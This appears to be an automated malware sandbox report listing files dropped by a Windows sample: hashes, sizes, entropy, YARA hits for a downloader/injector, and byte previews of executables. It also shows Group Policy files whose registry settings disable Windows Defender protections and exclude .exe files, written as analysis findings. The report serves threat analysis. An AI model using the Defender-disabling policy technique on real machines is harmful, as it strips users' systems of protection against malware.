SSDEEP:	24576:WCIT07IAYgZp0y1LkHhLITbz4Uogj2CSi8Cr1pYNeP6PUl5PC:/IfAYSpX1LkBIToUj6iTqrkY
MD5:	99F6379EC5AED12320AA53BC4D5C1CBF
SHA1:	E2F43BD766E31D040A160D4E1D8EE8BD74A9A6AF
SHA-256:	0B96638CF51B370DB4DB11F12D3C82DA7913095395F7DF160267051407764C68
SHA-512:	2BBD980618F3C3F02A6C81C88CE64841E28CE2FB4608F7BC1CDD6B5F802EF6B0756734376268606A3D75248FD693D918A5CBF7F8E5E1644E7049CFCE07739199
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@.........................................1.J._.J._.J._.mu..9._.G...._.$.\.V._.o..W._..-...._.o..._.J._..._..Z.B._.%...._...^.._..]..._.mu#.;._.mu".s._.mu..._...M._..X..1._.mu..._..X...._.mu..(._.J.^.~._.RichJ._.........................PE..L......c...........!.........`......#.............@..........................P.............@....................................@...............................db..................................................x...8............................text............................... ..`.rdata..k...........................@..@.data...j...........................@....idata... .......0..................@....rsrc..................................@.reloc...{..........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\1Mr090DD.exe

Download File

Process:	C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4232704
Entropy (8bit):	7.999935001122883
Encrypted:	true
SSDEEP:	98304:nKxZWSv8fBG6l/mNu13T3Gf4fN11cB50kd3SaNkG:cwNbuNii8D1c8
MD5:	96EC3EFA9BD454550B615DF142B08295
SHA1:	4A8A6D3A8D94F02194822C2066E11800A518C8D6
SHA-256:	6D5320CD6E4CFC208F6703FFF254B6F1363E1AFDF7D8E77155549A674FA3A263
SHA-512:	8E3945604E8992D3630AE716E09D3A9A3052A2DDBCCF15BCAAC9B636A0A49879552CBD58F299DDC6B4DD7E8B6E915C29B35BFC3A0A3F449C41F7CAAE776C0B6B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......c..............."..@...................@..............................@............`... .........................................Y....0...............p..l]...........0............................... ..(...................................................UPX0....................................UPX1......@.......@.................@...UPX2.........0........@.............@...3.96.UPX!.$...)H.M...-....@............a..\.."...,J=.Q&.d....u....U......G..X..}.....m....C.3SB......G.?_....;b.....)..,...=...J........B...........x..)r.j...g.).. ......f.t. .k...........6;..d.@....X...e...Ux..Y+ag.8}.r)."..j..t!. ..py...s..G8.bW.+...t......v!R4...@^....-.C.C...\.&..6W.....5.25.-.>....n:......}$".^..LD..i.}lhM-.d.Y..0.1I..K.T..L......+..i...9.*<9pz..?..hFs..0..T#....R..z.?..}...R\i5.../........m..)]).} .....Q..)o...B.....3.....O

C:\Users\user\AppData\Roaming\I1E4fVux.exe

Download File

Process:	C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6353920
Entropy (8bit):	7.964035151346637
Encrypted:	false
SSDEEP:	98304:AUmETj+8JMsbhauhDwHnRz4TvItwgEmE350RtERTGXHINphWp6ZtdTm7YtGzzT:nmgjRbgI2lytEO5W+Rq4yIMYtMzT
MD5:	A0CCE836755A2B064842089D16EA5561
SHA1:	FA0A6251130F3A0008A136393A959E6A8F611139
SHA-256:	0F2A54E667AAE6DB7283B8D6340E9EBD8CAC4A740190E65A02B18FB55CD2AF01
SHA-512:	54F7C38E80A0822FF7079C3742EAF61DE84D9404C69AF75C310E5308B9F41CD2E99A40536C7605CB3F1CFC18AFC1FD3F0ACD82B98EF42CD1802E2C9550205813
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b..............................>......0....@..........................`......Q.a................................O...<#B.x....P...............................................................................P6.@............................text............................... ..`.rdata.......0......................@..@.data...d....P......................@....peN......5..`...................... ..`.Nb8.........P6.....................@....va$....p.`..`6...`................. ..`.rsrc........P........`.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\xZ66PEkwf7Jo3irS4cyXoDE4.exe

Download File

Process:	C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	410112
Entropy (8bit):	6.362808688244883
Encrypted:	false
SSDEEP:	6144:NrkuBHTtY9Jgfq80nzm5tBD2AsG8x0Ca0Hv06A0md0OUGHLzmijOceK2HSw3pXqC:NrkIT/y8T5PVsSnXOc+HSQJKLw
MD5:	9519C85C644869F182927D93E8E25A33
SHA1:	EADC9026E041F7013056F80E068ECF95940EA060
SHA-256:	F0DC8FA1A18901AC46F4448E434C3885A456865A3A309840A1C4AC67FD56895B
SHA-512:	DCC1DD25BBA19AAF75EC4A1A69DC215EB519E9EE3B8F7B1BD16164B736B3AA81389C076ED4E8A17A1CBFAEC2E0B3155DF039D1BCA3C7186CFEB9950369BCCF23
Malicious:	true
Yara Hits:	Rule: MALWARE_Win_DLInjector06, Description: Detects downloader / injector, Source: C:\Users\user\Documents\xZ66PEkwf7Jo3irS4cyXoDE4.exe, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........H\.i.\.i.\.i...j.V.i...l...i...m.M.i...j.J.i...l.w.i...m.I.i...h.U.i.\.h. .i...`.Y.i.....].i...k.].i.Rich\.i.........................PE..L...S..b.................Z...................p....@.......................................@.................................8...d....@.......................P...&..\...8...............................@............p...............................text.../Y.......Z.................. ..`.rdata..F....p.......^..............@..@.data........ ......................@....rsrc........@......................@..@.reloc...&...P...(..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1474107
Entropy (8bit):	7.898790148989692
Encrypted:	false
SSDEEP:	24576:VJr8tEZgHqdIIx07IqYgLp4y1LYFhFnWTbt4U8kjmuSg8CjzpoNevyR:VJ4oOIFqYmpL1LYhnWTuSjwg963
MD5:	7C21DE05BE518F55C847F18E46F4F65D
SHA1:	7A4076496104920A8DB7431BC867E194507EE2D0
SHA-256:	BB6F9547116E50D957A93A2F571929FE086433F686521FA64970217B1D720B46
SHA-512:	16E2902C504F890A1A0A5521C12C504DE44724297D971F0B13062F608B6D8D8C22E4BA65AC4513E794263FD063AD7007BBE7B9DC6C62B43722FDEB8D0CE1D0B5
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........NB. .. .. .S6... .S6..j. .S6.... .F.... .F.$... .F.#.. .F.%.. ..... ..... ..!.. ...%... ... .. ...... ...".. .Rich. .................PE..L.... b.................b.......... B............@.......................................@.........................0...4...d...P...............................x(......T...............................@...............,............................text....a.......b.................. ..`.rdata..............f..............@..@.data...`]...0......................@....didat..`...........................@....rsrc...............................@..@.reloc..x(.......*..................@..B........................................................................................................................................................................................................................................

C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2574749
Entropy (8bit):	7.9964608655260845
Encrypted:	true
SSDEEP:	49152:AGdM6Fyam6/shkFP63zokMa5YY1ukGkF9JSjKpjLU4PRsZwYxWNFNg9zSsqOOKX:ddM8x/ukFyZ5F1uK/Jl84WZwY4NFNg97
MD5:	D33F5C381C8A2DC544C313355BA4EB64
SHA1:	A342AFFF06633CACDB904C28EC7B78A8BFD559FD
SHA-256:	E40F0C222B4E696C27BE11D5250C3763F04E5C4E7F1525BECD1EC11B333B4C5D
SHA-512:	77BD9D3A35129C392DB6976279C32216E35E174A658FA03660B6A874391E3D048F640546EEF2094FE5498D495726359581BA2C2A81775F66A23EEEC397157417
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................D...................@..........................0...................@..............................P..................................................................................................................CODE................................ ..`DATA....H...........................@...BSS.....4................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc.............................@..P.............0......................@..P........................................................................................................................................

C:\Users\user\Pictures\Minor Policy\FCqfAFGkQuzevXsCC7ANUoxx.exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	HTML document, Non-ISO extended-ASCII text, with very long lines
Category:	dropped
Size (bytes):	104152
Entropy (8bit):	5.320225850394485
Encrypted:	false
SSDEEP:	1536:hGqTEcroFdXt6wMD0r4+P/w+nIEuZkX+ranIy+K07Qs4NeJWd3FywmXZaPu9WJPT:hXoXoIhFyw+tyh4mouu6KgPd/
MD5:	D37D5FE6B7E05DD773B8EA793008CD7C
SHA1:	8466AB79E81E82C8A1E6B6F77D14AB93474AECAF
SHA-256:	B49BABD98F26DDF4EA386045B437C78F5A0D65A2431BF6191235ABF6F56E8D64
SHA-512:	78B5463838B59D8A3D7AACA29321D6E392980CB44AACA0947DE15B5E66E11BF9B14CD898416A4244898F63EDB33F4AFFD7ACAB62D990BD827995EBBD9C473AE4
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang='en' dir='ltr'>.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />.<link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?6" />..<link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?15">..<meta http-equiv="content-type" content="text/html; charset=windows-1251" />.<meta http-equiv="origin-trial" content="AiymFI85w2/GSGbzrplgUbWCwiuDfQeTCHPPgkPyHNNKBwYayXHKnxa3pfWYRSqBJSDavyxBmG9yNNKv2edogw4AAABceyJvcmlnaW4iOiJodHRwczovL3ZrLmNvbTo0NDMiLCJmZWF0dXJlIjoiV2ViQ29kZWNzIiwiZXhwaXJ5IjoxNjM4NDAzMTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="><meta name="theme-color" content="#ffffff">.<meta name="color-scheme" content="light">..<title>Error \| VK</title>..<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>.<script nomodule>/nomodule/(function(){"use strict";function t(){var t=new XMLHttpRequest;t.open("GET","/badbrowser_stat.php?act=nomodule"),t.send()}return t})()({});</script>..<link type="text/css" rel="st

C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3210240
Entropy (8bit):	7.948059560743614
Encrypted:	false
SSDEEP:	98304:mHjaMebZao0p4kwkC/yRLmsH5NnyjqCgcg:mH2vaoy3wkC/yRLb5Nny
MD5:	106078BB0964B75800DA2013419239D9
SHA1:	44F3C39446CEBB7349697703CC88BD0C014B6C7E
SHA-256:	7E0BD7043B674F37A6C086FCD8AA5DDB0EC4BA675E4860E30F88ABE3CFE4B879
SHA-512:	E9172ECBDDC2D11291D6DA05A65D967984C72317D525451AD13DBD6931B5B1BF580237926A4F6CD40D265F5B559EFAA961352E348CE22827B3E52552CA618B7E
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...w;.......................X......pCN.. ........@.. ........................x.......1...`.................................:`..P........U.......................................................................................................... ..... ...................... ..`.rsrc....U.......V..................@..@ .....@.......j..............@..B.idata... ...`.......l..............@....themida..D..........n..............`....boot.......@N.....n..............`..`................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\Minor Policy\GnPinkNTKlMRD3bjBO0oh3Wa.exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1280000
Entropy (8bit):	6.437003552746411
Encrypted:	false
SSDEEP:	24576:tBdQ7HTJbH4do4sbvJL9HhWVzXzKVo2ioIunOwFdAfrE/Y7sc+aD43MgEke0qn2:t8vJhhWVzXzK62srE/hl
MD5:	76000A1A15850FCAA06877E21F7EB348
SHA1:	755F0DBECF5EF2868270D34CED20213A4D5137C4
SHA-256:	52558D772708FED5FEA4982D2F5ED377D47D1E4F9BC6D04A10A75817887FDF01
SHA-512:	573742A804AD957D2A11CD15E3D9F908FA0278067BD983B84FD39CA6C2D43DC91CA4E1870B86FE0AB1EBA0F7317B87855CF22E66462C73ABF0E569E4B018A9CB
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c...............#..........................@.................................+4........ .........................................X............................................................................................................text...............................`.P`.data...D...........................@.`..rdata.............................@.`@.bss....t.............................`..idata...............v..............@.0..CRT....4...........................@.0..tls................................@.0..rsrc...X...........................@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6882816
Entropy (8bit):	7.904165496180532
Encrypted:	false
SSDEEP:	196608:fOo36KhbbRT3Z7/OXnKO8/tPp0ll9z3d0dppIbh5:djbDmXl60bz
MD5:	83FD77104C17653424A3D3894DBE8793
SHA1:	FBD8618F1D840C2506B33E85DF7BE7ABF6753C19
SHA-256:	4D70A2E9F63FEA018DB99BEF6CECBF094255C52F6E2BD9D1D7458E637EFB9172
SHA-512:	18C577E3FA7B48CD7A2954FA9C132A023D8C64809AA1887969ECB35CBB188EFC87A0013D9B41A83D4BC701FFB496E6914331E48F84DE39382848213F559566A9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...%C.b.............................)~...........@.................................<.i...............................O....7x.d.......XK............................................................................8..............................text... ........................... ..`.rdata..............................@..@.data...............................@....CRT................................@..@._K)....K.7......................... ..`.$gT....T.....8.....................@....qD*......b...9...b................. ..`.rsrc...XK.......L....b.............@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3949568
Entropy (8bit):	7.826047385956034
Encrypted:	false
SSDEEP:	98304:5Hlmczc++8BF8C6By21hlcOUEFDKMYrY5ok8:rmUcjny4lcvKODYb8
MD5:	77D8DF4427C8B1A28C8D2591A9C92A70
SHA1:	9A0E1CA712F93F4AB30B162F5C9B04D9C825F1F9
SHA-256:	00CBD7C3427B9D2E960BD1D3FB04D3897A7C53486B52E5C42F0C2C6678A63762
SHA-512:	8204C35C4B4AA6A15C4D32D8600D0792E21296AF633FC0AB45141ABDFD7BCF0FB9B96A972F7734E01CA0EE9002D0E730F6380C5593ED0CA5E534C7C48ED83B98
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...\n.c..........#...................T........@............................. j........... ................................................. c8.......j.......i.............................................;/.0...P.i.8............................................text.............................. ..`.rdata..\|V..........................@..@.data........0......................@....pdata..............................@..@_RDATA.......`......................@..@.vmp0...\|_...p......................`..`.vmp1...t=<...-..><.................`..h.rsrc.........j......B<.............@..@................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5239600
Entropy (8bit):	7.716925488875604
Encrypted:	false
SSDEEP:	98304:WSVnNc2g8lDW5whDzrN3ylOykzRuLzw0eBXga5sW3MhkMyedv7HTLr:W/2ZW5wtzrN3WTghQa5skxMjv7zLr
MD5:	469B0C97D2AA9A03581536D485BC8864
SHA1:	B56DCAE7A00AC7333C728BD00197DA2E07DDFE36
SHA-256:	51A2D9691B6A426415CBD2A21E445A6E29204680A5AB63D8E51058BFA542E67C
SHA-512:	D0942BF318E025805E6BFBB513CFFEF2B62CB645D41E92AEDB215B276D9857CB64CB2E430927E5063A8E0431115167D34D561315ECDDFBCB514A007DB5D98DF2
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...t..P..........#..................gL...........@.......................... P.....Q.P.....................................T.9.......O..y............O.0.............................................O.@............P@.p............................text............................... ..`.rdata...m.......n..................@..@.data....0... ......................@...._._.../..`..../.. ..............`..`._._..~... 2.......1.............`..`.rsrc....y....O..z...`O.............@..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	6.234215186280302
Encrypted:	false
SSDEEP:	1536:S97iRkxTeSbKR0IlzUMp9ok6avzYc/Zt60tNd6:SRiSxbbq59PxT60tNd6
MD5:	2EF8DA551CF5AB2AB6E3514321791EAB
SHA1:	D618D2D2B8F272F75F1E89CB2023EA6A694B7773
SHA-256:	50691A77E2B8153D8061BD35D9280C0E69175196CDCF876203CCECF8BCFD7C19
SHA-512:	3073ED8A572A955BA120E2845819AFE9E13D226879DB7A0CD98752FD3E336A57BAF17A97A38F94412EEB500FD0A0C8BAC55FDBDFEF2C7CBF970A7091CDFC0E00
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........I......%......d.....d......d......%............d.....d....Rich..........................PE..L....r.c.....................`.......!............@..........................p..............................................T...P....`..............................................................`...@............................................text............................... ..`.rdata...........0..................@..@.data....4... ... ... ..............@....rsrc........`.......@..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\Minor Policy\u2B48dmUiDdHKtcu_O2K8yVf.exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	XML 1.0 document text
Category:	dropped
Size (bytes):	223
Entropy (8bit):	4.745008847905136
Encrypted:	false
SSDEEP:	6:TM3i0b9ZjZvKtWRbtmdsfbPAxjqm1bANKvn:TM3i0b9BZKtWRbtmdsfbPAxjqSkNKv
MD5:	A6A676051F857D516F6C4BEC595A7CFB
SHA1:	10E7C48A109FFBE60FA7AB3585C4BD711942CBD2
SHA-256:	98686E602B5F75BBCEB801CA315617579AD9FFE9E2DF66D49673EA35A7E1F343
SHA-512:	DF302B28E5897BAC668AD1AE2B32D2424AF7C8CDF4527AC54EA268E6E9FBF41EFE28B236AF25CEACB5E5ACD95B6C99B8CF95FA735687358A265BD59E2B127BA6
Malicious:	false
Reputation:	unknown
Preview:	<?xml version='1.0' encoding='UTF-8'?><Error><Code>AccessDenied</Code><Message>Access denied.</Message><Details>Anonymous caller does not have storage.objects.get access to the Google Cloud Storage object.</Details></Error>

C:\Users\user\Pictures\Minor Policy\xfeVOSjDbkaAGwyli9NSQhEV.exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	HTML document, Non-ISO extended-ASCII text, with very long lines
Category:	dropped
Size (bytes):	104162
Entropy (8bit):	5.319791357574719
Encrypted:	false
SSDEEP:	1536:hGqTEcns8d1t6wMD0r4+P/w+nIEuZkX+ranIy+K07Qs4NeJWd3FywmXZ/Pu9WJPT:hTscoIhFyw++yh4mouu6KgPd/
MD5:	356807FDDB9A983C0204E2592F6038EC
SHA1:	9519A96E78869D102E7DD478B4A6A7DAD21F3420
SHA-256:	E4C9652DFB0103302918017EBA4FC3F4F7866E21D4E63F5AEDAE213112072F5C
SHA-512:	2F5ADC3380826CABEE24EC9BCD95736BBA6430F923101F21EEB532585DF1D42F0A3A9734065B55A370DFF4F16D5E3E4E2E7280454A570905F06FCD9B42CC4D82
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang='en' dir='ltr'>.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />.<link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?6" />..<link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?15">..<meta http-equiv="content-type" content="text/html; charset=windows-1251" />.<meta http-equiv="origin-trial" content="AiymFI85w2/GSGbzrplgUbWCwiuDfQeTCHPPgkPyHNNKBwYayXHKnxa3pfWYRSqBJSDavyxBmG9yNNKv2edogw4AAABceyJvcmlnaW4iOiJodHRwczovL3ZrLmNvbTo0NDMiLCJmZWF0dXJlIjoiV2ViQ29kZWNzIiwiZXhwaXJ5IjoxNjM4NDAzMTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="><meta name="theme-color" content="#ffffff">.<meta name="color-scheme" content="light">..<title>Error \| VK</title>..<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>.<script nomodule>/nomodule/(function(){"use strict";function t(){var t=new XMLHttpRequest;t.open("GET","/badbrowser_stat.php?act=nomodule"),t.send()}return t})()({});</script>..<link type="text/css" rel="st

C:\Users\user\Pictures\Minor Policy\xn_K5RfR4QgPpJh8VO4QF2yy.exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	616448
Entropy (8bit):	5.164277290666237
Encrypted:	false
SSDEEP:	6144:KLuAvRbXvC79gVoA550CbeoLFroWiYfQ82bAGpMTO0I6:KLuAv9vo9gVoA57TLiEhGgO8
MD5:	6590C006DA1047AB975529D3ED46619A
SHA1:	397D8C152FBF0B746AEB7E69141C662297AA9379
SHA-256:	1C986AFB6B41D43BBC3D526DAD0629C3903AED6F88E0D4A86014748617DFAB5A
SHA-512:	C9FEE15FD842CA4614AEA06C48EE51D143B9E4F187C16533762D4CD831910D38E163AAA0C639D72FBB4A3E57D81DE31FB58DB40C63546CF3A4D609D17BF8CA0F
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........zuP.............c.......c.......c.......c.......c.......p..............kb......kb......kb......Rich....................PE..L...6{.c...............!.....T......2........0....@..........................@............@.................................t5......................................02..8...........................p1..@............0...............................text...t........................... ..`.rdata.......0......................@..@.data...,E...@...B...$..............@....reloc...............f..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	410112
Entropy (8bit):	6.362808688244883
Encrypted:	false
SSDEEP:	6144:NrkuBHTtY9Jgfq80nzm5tBD2AsG8x0Ca0Hv06A0md0OUGHLzmijOceK2HSw3pXqC:NrkIT/y8T5PVsSnXOc+HSQJKLw
MD5:	9519C85C644869F182927D93E8E25A33
SHA1:	EADC9026E041F7013056F80E068ECF95940EA060
SHA-256:	F0DC8FA1A18901AC46F4448E434C3885A456865A3A309840A1C4AC67FD56895B
SHA-512:	DCC1DD25BBA19AAF75EC4A1A69DC215EB519E9EE3B8F7B1BD16164B736B3AA81389C076ED4E8A17A1CBFAEC2E0B3155DF039D1BCA3C7186CFEB9950369BCCF23
Malicious:	true
Yara Hits:	Rule: MALWARE_Win_DLInjector06, Description: Detects downloader / injector, Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........H\.i.\.i.\.i...j.V.i...l...i...m.M.i...j.J.i...l.w.i...m.I.i...h.U.i.\.h. .i...`.Y.i.....].i...k.].i.Rich\.i.........................PE..L...S..b.................Z...................p....@.......................................@.................................8...d....@.......................P...&..\...8...............................@............p...............................text.../Y.......Z.................. ..`.rdata..F....p.......^..............@..@.data........ ......................@....rsrc........@......................@..@.reloc...&...P...(..................@..B................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\GroupPolicy\gpt.ini

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:1EX:10
MD5:	EC3584F3DB838942EC3669DB02DC908E
SHA1:	8DCEB96874D5C6425EBB81BFEE587244C89416DA
SHA-256:	77C7C10B4C860D5DDF4E057E713383E61E9F21BCF0EC4CFBBC16193F2E28F340
SHA-512:	35253883BB627A49918E7415A6BA6B765C86B516504D03A1F4FD05F80902F352A7A40E2A67A6D1B99A14B9B79DAB82F3AC7A67C512CCF6701256C13D0096855E
Malicious:	false
Reputation:	unknown
Preview:	[General]..

C:\Windows\System32\GroupPolicy\GPT.INI

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	127
Entropy (8bit):	5.080093624462795
Encrypted:	false
SSDEEP:	3:1ELGUAgKLMzY+eWgTckbnnvjiBIFVTjSUgf4orFLsUov:1WsMzYHxbnvEcvgqv
MD5:	8EF9853D1881C5FE4D681BFB31282A01
SHA1:	A05609065520E4B4E553784C566430AD9736F19F
SHA-256:	9228F13D82C3DC96B957769F6081E5BAC53CFFCA4FFDE0BA1E102D9968F184A2
SHA-512:	5DDEE931A08CFEA5BB9D1C36355D47155A24D617C2A11D08364FFC54E593064011DEE4FEA8AC5B67029CAB515D3071F0BA0422BB76AF492A3115272BA8FEB005
Malicious:	true
Reputation:	unknown
Preview:	[General]..gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}]..Version=1..

C:\Windows\System32\GroupPolicy\Machine\Registry.pol

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	data
Category:	dropped
Size (bytes):	1926
Entropy (8bit):	3.310422749310586
Encrypted:	false
SSDEEP:	24:wSLevFeSLe5BeSwbv5qweSw4q7j/eScdepWDbVeScden2W8eScdemevtmeScdeRg:KFIBkbv5qwk4qfKV2QxVCZ
MD5:	CDFD60E717A44C2349B553E011958B85
SHA1:	431136102A6FB52A00E416964D4C27089155F73B
SHA-256:	0EE08DA4DA3E4133E1809099FC646468E7156644C9A772F704B80E338015211F
SHA-512:	DFEA0D0B3779059E64088EA9A13CD6B076D76C64DB99FA82E6612386CAE5CDA94A790318207470045EF51F0A410B400726BA28CB6ECB6972F081C532E558D6A8
Malicious:	false
Reputation:	unknown
Preview:	PReg....[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.A.n.t.i.S.p.y.w.a.r.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.R.o.u.t.i.n.e.l.y.T.a.k.i.n.g.A.c.t.i.o.n...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s...;.E.x.c.l.u.s.i.o.n.s._.E.x.t.e.n.s.i.o.n.s...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.E.x.t.e.n.s.i.o.n.s...;.e.x.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.r.o.t.e.c.t.i.o.n...;.D.i.s.a.b.l.e.B.e.h.a.v.i.o.r.M.o.n.i.t.o.r.i.n.g...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.

\Device\ConDrv

Download File

Process:	C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:y:y
MD5:	81051BCC2CF1BEDF378224B0A93E2877
SHA1:	BA8AB5A0280B953AA97435FF8946CBCBB2755A27
SHA-256:	7EB70257593DA06F682A3DDDA54A9D260D4FC514F645237F5CA74B08F8DA61A6
SHA-512:	1B302A2F1E624A5FB5AD94DDC4E5F8BFD74D26FA37512D0E5FACE303D8C40EEE0D0FFA3649F5DA43F439914D128166CB6C4774A7CAA3B174D7535451EB697B5D
Malicious:	false
Reputation:	unknown
Preview:	..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944464075559035
